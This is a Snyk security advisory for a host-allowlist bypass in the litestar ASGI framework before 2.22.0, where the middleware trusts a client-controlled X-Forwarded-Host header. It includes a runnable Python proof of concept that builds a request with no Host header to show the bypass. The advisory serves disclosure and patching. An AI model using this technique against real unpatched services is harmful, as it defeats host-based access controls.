Reliance on Untrusted Inputs in a Security Decision Affecting litestar package, versions [,2.22.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.02% (8th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-LITESTAR-17304677
  • published11 Jun 2026
  • disclosed10 Jun 2026
  • creditgik2927

Introduced: 10 Jun 2026

NewCVE-2026-48061  (opens in a new tab)
CWE-348  (opens in a new tab)
CWE-807  (opens in a new tab)

How to fix?

Upgrade litestar to version 2.22.0 or higher.

Overview

litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework

Affected versions of this package are vulnerable to Reliance on Untrusted Inputs in a Security Decision through the AllowedHostsMiddleware in the host validation middleware. An attacker can bypass host allowlisting by supplying an allowed X-Forwarded-Host value while sending a disallowed Host header. The middleware accepts the forwarded host for its allowlist check, allowing requests from untrusted origins to proceed and exposing the application to host-based access-control bypass.

PoC

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

CVSS Base Scores

version 4.0
version 3.1